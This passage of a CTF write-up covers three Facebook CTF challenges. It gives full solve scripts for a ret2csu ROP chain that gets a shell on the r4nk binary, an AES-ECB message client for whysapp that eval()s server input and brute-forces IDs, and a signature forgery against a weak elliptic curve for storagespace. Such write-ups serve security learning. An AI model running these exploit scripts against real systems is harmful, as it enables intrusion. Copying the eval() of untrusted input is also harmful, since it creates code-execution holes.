addr_write = u64(show()[0])
libc_base = addr_write - libc.symbol("write")
addr_one_gadget = libc_base + 0x10a38c
dump("libc base = " + hex(libc_base))

We also have arbitrary overwrite on the stack in the Rank function. It seems pretty easy to get the shell...? No. The problem is that the result of strtol is cast to int, which means we can write only 32-bit values. So, we can't call system("/bin/sh") directly.

Let's craft a ROP gadget. There may be useful ROP gadgets hopefully. I found some gadgets such as pop rdi;, pop rsi; pop r15; as usual. However, there is no gadget to set rdx like pop rdx;. We need to change rdx in order to call read(rdi, rsi, rdx); because rdx is set to 0 before exitting the main function.

Don't worry. I have another plan: ret2csu.

Even if we can't set rdi, rsi and rdx, we can use __libc_csu_init to call some functions with maximum 3 arguments. I called read(0, <strtol@got>, 8) to change strtol to system and then called _start. The last thing to do is send /bin/sh in the menu.

from ptrlib import *

def show():
    sock.recvuntil("> ")
    sock.sendline("1")
    ret = []
    for i in range(12):
        data = sock.recvline().rstrip().split(b". ")
        ret.append(data[1])
    return ret

def evil_show(fmt):
    sock.recvuntil("> ")
    sock.sendline(fmt)

def rank(i, pos):
    sock.recvuntil("> ")
    sock.sendline("2")
    sock.recvuntil("t1tl3> ")
    sock.sendline(str(i))
    sock.recvuntil("r4nk> ")
    sock.sendline(str(pos))

libc = ELF("./libc-2.27.so")
elf = ELF("./r4nk")
#sock = Process("./r4nk")
sock = Socket("challenges.fbctf.com", 1339)
addr_start = 0x400018 # address that points <start>
addr_list = 0x602080
addr_buf = 0x602100
plt_read = 0x4005f0
rop_pop_rdi = 0x00400b43
rop_pop_rsi_r15 = 0x00400b41
rop_prepare_reg = 0x00400b3a
rop_csu_init = 0x400b20

# libc leak
payload = b"A" * 8 + p64(elf.got("write"))
evil_show(payload)
rank(0, (addr_buf - addr_list) // 8 + 1)
addr_write = u64(show()[0])
libc_base = addr_write - libc.symbol("write")
addr_one_gadget = libc_base + 0x10a38c
dump("libc base = " + hex(libc_base))

# craft ROP chain
payload = [
    rop_prepare_reg,
    0,                 # rbx
    1,                 # rbp == rbx + 1
    elf.got("read"),   # r12 = &<func>
    0,                 # r13 = arg1
    elf.got("strtol"), # r14 = arg2
    0x8,               # r15 = arg3
    rop_csu_init,
    0xdeadbeef,
    0,          # rbx
    1,          # rbp == rbx + 1
    addr_start, # r12 = &<func>
    0,          # r13 = arg1
    0,          # r14 = arg2
    0,          # r15 = arg3
    rop_csu_init
]
for i, addr in enumerate(payload):
    assert 0 <= addr <= 0xffffffff
    rank(19 + i, addr)

# ROP it
sock.recvuntil("> ")
sock.sendline("3")

sock.send(p64(libc_base + libc.symbol("system")))

# get the shell!
sock.recvuntil("> ")
sock.sendline("/bin/sh\x00")

sock.interactive()

Cool!

$ python solve.py 
[+] Socket: Successfully connected to challenges.fbctf.com:1339
[ptrlib] libc base = 0x7f5a3050a000
[ptrlib]$ cat /home/r4nk/flag
[ptrlib]$ flag{wH0_n33ds_pop_rdx_4NYw4y}

[misc 961pts] whysapp

Description: We're working on a brand new sort of encrypted version of Whatsapp, we call it Whysapp. We took the base technology behind Whatsapp and upgraded it to use a super shiny new language.
File: whysapp.tar.gz

The server returns a base64-encoded string.

$ nc challenges.fbctf.com 4001
G+jdtmUJh5RurA2yk42yJlZRSIEZKcbWZ+49KB/uhJ4s7dqZiOUTdndHzpPeuG1hOvJUAro/1ob8
3RWUkHOui+X4jKyGxUhkfR/tg1el+9Q=

We are given a beam file of the Elixir language. I don't know of Elixir at all but could disassemble it just by following the steps in this article. Let's see how it works.

This is the recv function:

  {:function, :recv, 1, 20,
   [{:line, 19}, {:label, 19},
    {:func_info, {:atom, Whysapp}, {:atom, :recv}, 1}, {:label, 20},
    {:allocate, 1, 1}, {:move, {:integer, 0}, {:x, 1}},
    {:move, {:x, 0}, {:y, 0}}, {:line, 20},
    {:call_ext, 2, {:extfunc, :gen_tcp, :recv, 2}},
    {:test, :is_tagged_tuple, {:f, 21}, [{:x, 0}, 2, {:atom, :ok}]},
    {:get_tuple_element, {:x, 0}, 1, {:x, 0}}, {:line, 21},
    {:call_ext, 1, {:extfunc, :base64, :decode, 1}},
    {:move, {:literal, "yeetyeetyeetyeet"}, {:x, 1}}, {:move, {:x, 0}, {:x, 2}},
    {:move, {:atom, :aes_ecb}, {:x, 0}}, {:line, 22},
    {:call_ext, 3, {:extfunc, :crypto, :block_decrypt, 3}},
    {:move, {:literal, <<0>>}, {:x, 1}}, {:line, 23},
    {:call_ext, 2, {:extfunc, String, :trim_trailing, 2}},
    {:move, {:x, 0}, {:x, 1}}, {:move, {:y, 0}, {:x, 0}}, {:line, 24},
    {:call_ext_last, 2, {:extfunc, Whysapp, :process, 2}, 1}, {:label, 21},
    {:line, 20}, {:badmatch, {:x, 0}}]},

It uses AES ECB cipher with the key set to yeetyeetyeetyeet, and passes the decrypted data to process. I decrypted the packets with this key and found there are several types of messages such as cat:cat, math:53+72 and so on. I passed this message to the process function of Whysapp and found the following rule.

Given nessage Message to send
msg:"X" "random int":msg:"X"
cat:cat "random int":cat:cat
ping:ping "random int":ping:pong
math:"exp" "random int":math:"evaluated exp"

I made the client and communicated with the server:

...
[ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] >>>995757198:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] <<< math:47*32
[ptrlib] >>>58844597:math:1504
[ptrlib] <<< You've exhausted your free messages limit. Only users with low IDs can communicate beyond this point.

Let's set the random id to 1.

[ptrlib] <<< math:26*19
[ptrlib] >>>1:math:494
[ptrlib] <<< math:82*24
[ptrlib] >>>1:math:1968
[ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] >>>1:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems.
[ptrlib] <<< flag:Almost there. Only zuck can issue the flag command.

[ptrlib] >>>1:flag:Almost there. Only zuck can issue the flag command.

[ptrlib] <<< msg:You're not zuck!!!!!!!!

I had been stuck here and tried brute force.

...
[ptrlib] Attempt: 4
[ptrlib] fb{whys_app_when_you_can_whats_app}

Found the flag haha.

from Crypto.Cipher import AES
import base64
import random
from ptrlib import *

key = "yeetyeetyeetyeet"
crypto = AES.new(key, AES.MODE_ECB)

flag = False
def process(cipher, rid=1):
    global flag
    plain = crypto.decrypt(base64.b64decode(cipher)).rstrip(b"\x00")
    plain = bytes2str(plain)
    #dump("<<< " + plain)
    
    r = 0
    #r = random.randint(1, 1000000000)
    try:
        ope, data = plain.split(":")
    except:
        print(plain)
        exit()

    if flag and ope == 'msg':
        dump("Attempt: " + str(rid))
        if "You're not zuck!!!!!!!!" not in data:
            dump(data)

    if ope == 'math':
        # math
        result = eval(data)
        plain = "{}:{}:{}".format(r, "math", result)
    elif ope == 'ping':
        # ping
        plain = "{}:ping:pong".format(r)
    elif ope == 'flag':
        # flag
        plain = "{}:flag:{}".format(rid, data) # ?????
        flag = True
    else:
        # cats
        plain = "{}:{}".format(r, plain)
    #dump(">>>" + plain)
    
    plain += "\x00" * (16 - (len(plain) % 16))
    cipher = base64.b64encode(crypto.encrypt(plain))
    return cipher

log.level = ["warning"]
for r in range(0, 0x100000000):
    sock = Socket("challenges.fbctf.com", 4001)
    flag = False
    while True:
        c = sock.recv()
        if c is None:
            break
        s = process(c, r)
        sock.sendline(s)
    sock.close()

[crypto 919pts] storagespace

Description: In order to fit in with all the other CTFs out there, I've written a secure flag storage system!
It accepts commands in the form of json. For example: help(command="flag") will display help info for the flag command, and the request would look like:
{"command": "help", "params": {"command": "flag"}}
flag(name: Optional[str])
Retrieve flag by name.
{"command": "flag", "params": {"name": "myflag"}}
flag{this_is_not_a_real_flag}
You can access it at nc challenges.fbctf.com 8089
P.S. some commands require a signed request. The sign command will take care of that for you, but no way you'll convince me to sign the flag command xD
Server: nc challenges.fbctf.com 8089

We can issue some commands. First of all I wrote helper functions.

from ptrlib import *
import json
import base64
import re
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import hashlib
import sys
import time

def sign(payload):
    sign_payload = {"command": "sign", "params":{
    "command": payload["command"], "params": payload["params"]
    }}
    sock.recv()
    sock.sendline(json.dumps(sign_payload))
    w = sock.recvline()
    s = json.loads(w.rstrip())
    return s

def info():
    payload = {"command": "info", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    curve = sock.recvline().rstrip()
    generator = sock.recvline().rstrip()
    pubkey = sock.recvline().rstrip()
    r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve)
    curve = (int(r[0][0]), int(r[0][1]))
    prime = int(r[0][2])
    r = re.findall(b"generator: \((\d+), (\d+)\)", generator)
    G = (int(r[0][0]), int(r[0][1]))
    r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey)
    pubkey = (int(r[0][0]), int(r[0][1]))
    return curve, prime, G, pubkey

def spec(mode="all"):
    payload = {"command": "spec", "params": {"mode": mode}}
    payload["sig"] = sign(payload)["sig"]
    sock.sendline(json.dumps(payload))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    exit()

def save(name, flag):
    payload = {"command": "save","params": {"name": name, "flag": flag}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    sock.recvuntil("flag stored\n")

def list():
    payload = {"command": "list", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    res = sock.recv()
    return res.split(b"\n")[:-1]

list shows us that there is just one flag named fbctf. So, our goal is to issue {"command": "flag", "params": {"name": "fbctf"}} with a valid signature.

The server uses an elliptic curve to sign/verify a message.

 E: y^{2} = x^{3} + Ax + B \mod p

The signature is generated like this:

 Q = kG (k \leftarrow \lbrace 1, n-1 \rbrace)

 r = sha256(msg | str(Q.x))

 s = (k - r \times key) \mod n

 sig = (r, s)

(G is a generator of  E and n is the order of  E.) The server verifies a message like this:

 r, s = sig

 Q = sG + rH

 r ?= sha256(msg | str(Q.x))

The point is that the order of  E is so small that we can successfully calculate the discrete log problem. Let's make a fake signature for our new message.

If we can find t such that  H = tG, we can find s for an arbitrary r (Q = kG) because  Q = kG = sG + rtG = (s + rt)G holds. So, we just need to calculate  s = k - rt \mod n. I divided the process into communication part (solve.py) and calculation part (solve.sage).

solve.py:

from ptrlib import *
import json
import base64
import re
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import hashlib
import sys
import time

def sign(payload):
    sign_payload = {"command": "sign", "params":{
    "command": payload["command"], "params": payload["params"]
    }}
    sock.recv()
    sock.sendline(json.dumps(sign_payload))
    w = sock.recvline()
    s = json.loads(w.rstrip())
    return s

def info():
    payload = {"command": "info", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    curve = sock.recvline().rstrip()
    generator = sock.recvline().rstrip()
    pubkey = sock.recvline().rstrip()
    r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve)
    curve = (int(r[0][0]), int(r[0][1]))
    prime = int(r[0][2])
    r = re.findall(b"generator: \((\d+), (\d+)\)", generator)
    G = (int(r[0][0]), int(r[0][1]))
    r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey)
    pubkey = (int(r[0][0]), int(r[0][1]))
    return curve, prime, G, pubkey

def spec(mode="all"):
    payload = {"command": "spec", "params": {"mode": mode}}
    payload["sig"] = sign(payload)["sig"]
    sock.sendline(json.dumps(payload))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    print(bytes2str(sock.recv()))
    exit()

def save(name, flag):
    payload = {"command": "save","params": {"name": name, "flag": flag}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    sock.recvuntil("flag stored\n")

def list():
    payload = {"command": "list", "params": {}}
    payload["sig"] = sign(payload)["sig"]
    sock.recv()
    sock.sendline(json.dumps(payload))
    res = sock.recv()
    return res.split(b"\n")[:-1]

if __name__ == '__main__':
    fake_payload = {"command": "flag", "params": {"name": "fbctf"}}
    fake_msg = json.dumps(fake_payload, sort_keys=True)
    
    sock = Socket("challenges.fbctf.com", 8089)
    sock.recvuntil("patience\n")
    param, n, G, H = info()
    curve = Curve(
        name = "taro",
        p = n,
        q = n,
        a = param[0],
        b = param[1],
        gx = G[0],
        gy = G[1]
    )
    G = Point(G[0], G[1], curve=curve)
    H = Point(H[0], H[1], curve=curve)
    dump("curve: y^2 = x^3 + {}x + {} mod {}".format(param[0], param[1], n))
    dump("G = ({}, {})".format(G.x, G.y))
    dump("H = ({}, {})".format(H.x, H.y))
    payload = {"command": "help", "params": {}}
    l = base64.b64decode(sign(payload)["sig"]).split(b"|")
    r, s = int(l[0]), int(l[1])
    dump("r, s = {}, {}".format(s, r))
    dump("new_msg = " + fake_msg)
    with open("input.txt", "w") as f:
        f.write("{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n".format(n, param[0], param[1], s, r, G.x, G.y, H.x, H.y))
    while True:
        try:
            sig = sys.stdin.readline().rstrip()
            if sig:
                break
        finally:
            time.sleep(1)
    dump("sig = " + sig)
    payload = {"command": "flag", "params": {"name": "fbctf"}, "sig": sig}
    sock.recv()
    sock.sendline(json.dumps(payload))
    print(sock.recv())
    
    sock.interactive()

solve.sage:

import hashlib
import base64
fake_msg = '{"command": "flag", "params": {"name": "fbctf"}}'

n = int(raw_input("n = "))
A = int(raw_input("A = "))
B = int(raw_input("B = "))
s = int(raw_input("s = "))
r = int(raw_input("r = "))
Gx = int(raw_input("Gx = "))
Gy = int(raw_input("Gy = "))
Hx = int(raw_input("Hx = "))
Hy = int(raw_input("Hy = "))

F = Zmod(n)
E = EllipticCurve(F, [A, B])
G = E.point((Gx, Gy))
H = E.point((Hx, Hy))

k = n - 314
Q = G * k
r = int(hashlib.sha256(fake_msg + str(Q[0])).hexdigest(), 16)
pub = discrete_log(H, G, operation='+')
assert r * H == pub * r * G
s = (k - pub * r) % E.order()
sig = base64.b64encode(str(r) + "|" + str(s))

print(pub)
print(Q)
print(s*G + r*H)
print(sig)

Terminal 1:

$ python client.py 
[+] Socket: Successfully connected to challenges.fbctf.com:8089
[ptrlib] curve: y^2 = x^3 + 130939496966954247505692064871042135207x + 135139266651492282791665127691622267381 mod 210608707847801565748958054867898833971
[ptrlib] G = (143417176998134602100619591422626758333, 130227579156607644879610759408262650788)
[ptrlib] H = (199079881625313231076143726873011934220, 137375402122334256318232545713548992134)
[ptrlib] r, s = 92207699106857002675556523714181963886, 79157924427059153781815650610767382592467279417582779601053359909339438719209
[ptrlib] new_msg = {"command": "flag", "params": {"name": "fbctf"}}
ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
[ptrlib] sig = ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
b'fb{random_curves_are_not_safe?}\n\n'
[ptrlib]$

Terminal 2:

$ sage solve.sage < input.txt 
n = A = B = s = r = Gx = Gy = Hx = Hy = 424593574
(36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1)
(36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1)
ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=